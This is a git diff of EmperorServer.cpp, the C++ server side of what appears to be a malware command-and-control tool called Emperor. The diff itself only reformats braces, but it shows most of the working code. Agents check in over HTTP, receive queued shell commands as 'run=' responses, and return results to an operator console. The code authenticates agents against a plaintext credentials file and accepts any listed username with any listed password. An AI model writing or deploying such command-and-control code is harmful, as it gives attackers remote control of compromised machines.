diff --git a/EmperorServer.cpp b/EmperorServer.cpp index b13db13..078a262 100755 --- a/EmperorServer.cpp +++ b/EmperorServer.cpp @@ -24,32 +24,38 @@ std::vector> retrievecreds(std::string sFile) std::string sUsername = ""; std::string sPassword = ""; - while (true) { + while (true) + { fCreds >> ch; - if (fCreds.eof()) { + if (fCreds.eof()) + { sPasswords.push_back(sPassword); break; } - if (ch == ':') { + if (ch == ':') + { bUsername = false; fCreds >> ch; sUsernames.push_back(sUsername); sUsername = ""; } - if (ch == '\n') { + if (ch == '\n') + { bUsername = true; fCreds >> ch; sPasswords.push_back(sPassword); sPassword = ""; } - if (bUsername) { + if (bUsername) + { sUsername += ch; } - else { + else + { sPassword += ch; } } @@ -64,7 +70,8 @@ std::vector> sCreds = retrievecreds("creds"); std::map defaultUserConnections(std::vector> sCreds) { std::map mConnections; - for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++) { + for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++) + { mConnections[sCreds[0][iUsernameIndex]] = false; } return mConnections; @@ -73,7 +80,8 @@ std::map defaultUserConnections(std::vector defaultUserComms(std::vector> sCreds) { std::map mComms; - for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++) { + for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++) + { mComms[sCreds[0][iUsernameIndex]] = ""; } return mComms; @@ -86,8 +94,10 @@ std::map mResults = defaultUserComms(sCreds); std::string listUserConnections(std::map mConnections) { std::ostringstream oss; - for (auto const &[key, val] : mConnections) { - if (val == true) { + for (auto const &[key, val] : mConnections) + { + if (val == true) + { oss << key << " is active.\n"; } } @@ -97,14 +107,19 @@ std::string listUserConnections(std::map mConnections) std::map mConnections = defaultUserConnections(sCreds); -class command_and_control : public httpserver::http_resource { +class command_and_control : public httpserver::http_resource +{ public: bool verifycreds(std::vector> sCreds, std::string sUsername, std::string sPassword) { - for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++) { - if (sCreds[0][iUsernameIndex] == sUsername) { - for (int iPasswordIndex = 0; iPasswordIndex < sCreds[1].size(); iPasswordIndex++) { - if (sCreds[1][iPasswordIndex] == sPassword) { + for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++) + { + if (sCreds[0][iUsernameIndex] == sUsername) + { + for (int iPasswordIndex = 0; iPasswordIndex < sCreds[1].size(); iPasswordIndex++) + { + if (sCreds[1][iPasswordIndex] == sPassword) + { return true; } } @@ -115,9 +130,12 @@ class command_and_control : public httpserver::http_resource { const std::shared_ptr render(const httpserver::http_request &req) { - if (verifycreds(sCreds, req.get_user(), req.get_pass())) { - if (req.get_method() == "POST") { - if (req.get_arg("msg") == "ready") { + if (verifycreds(sCreds, req.get_user(), req.get_pass())) + { + if (req.get_method() == "POST") + { + if (req.get_arg("msg") == "ready") + { std::ostringstream oss; oss << "user=" << req.get_user() << "&msg=acknowledged"; std::string sResponse = oss.str(); @@ -126,17 +144,21 @@ class command_and_control : public httpserver::http_resource { mConnections[req.get_user()] = true; return std::shared_ptr(new httpserver::string_response(sResponse)); } - if (req.get_arg("msg") == "reqcmd") { - if (mCommands[req.get_user()] != "") { + if (req.get_arg("msg") == "reqcmd") + { + if (mCommands[req.get_user()] != "") + { std::ostringstream oss; oss << "run=" << mCommands[req.get_user()]; return std::shared_ptr(new httpserver::string_response(oss.str())); } - else { + else + { return std::shared_ptr(new httpserver::string_response("msg=nocmd")); } } - if (req.get_arg("result") != "") { + if (req.get_arg("result") != "") + { mCommands[req.get_user()] = ""; mResults[req.get_user()] = req.get_arg("result"); std::ostringstream oss; @@ -152,8 +174,10 @@ class command_and_control : public httpserver::http_resource { void checkConnections() { - while (!bShutdown) { - if (bIncomingHey) { + while (!bShutdown) + { + if (bIncomingHey) + { std::cout << "\nIncoming connection from " << sIncomingHeyUser << "\n[EMPEROR]>" << std::flush; bIncomingHey = false; sIncomingHeyUser = ""; @@ -165,16 +189,19 @@ void interactConnection(std::string sIdentifier) { std::string sCommand; std::cout << "Starting interaction with " << sIdentifier << std::endl; - while (true) { + while (true) + { std::cout << "[EMPEROR - " << sIdentifier << "]>"; std::getline(std::cin, sCommand); - if (sCommand == ":q") { + if (sCommand == ":q") + { break; } mCommands[sIdentifier] = sCommand; std::cout << "Command sent, awaiting response..." << std::endl; - while (mResults[sIdentifier].empty()) { + while (mResults[sIdentifier].empty()) + { continue; } std::cout << "Result: " << mResults[sIdentifier] << std::endl; @@ -213,39 +240,49 @@ void prompt() << std::endl; std::cout << "=========================================" << std::endl; std::string sCommand; - while (true) { + while (true) + { std::cout << "[EMPEROR]>"; std::getline(std::cin, sCommand); std::regex rConnect("connect "); - if (sCommand == "connections") { + if (sCommand == "connections") + { std::cout << listUserConnections(mConnections); } - if (std::regex_search(sCommand, rConnect)) { + if (std::regex_search(sCommand, rConnect)) + { std::vector sCommands; std::string sSplit; - for (int i = 0; i < sCommand.length(); i++) { - if (sCommand[i] == ' ') { + for (int i = 0; i < sCommand.length(); i++) + { + if (sCommand[i] == ' ') + { sCommands.push_back(sSplit); - if (sCommands.size() > 2) { + if (sCommands.size() > 2) + { break; } sSplit = ""; } - else { + else + { sSplit.push_back(sCommand[i]); - if (i == (sCommand.length() - 1)) { + if (i == (sCommand.length() - 1)) + { sCommands.push_back(sSplit); } } } - if (mConnections[sCommands[1]]) { + if (mConnections[sCommands[1]]) + { interactConnection(sCommands[1]); } } - if (sCommand == "q" || sCommand == "quit" || sCommand == "exit") { + if (sCommand == "q" || sCommand == "quit" || sCommand == "exit") + { bShutdown = true; break; }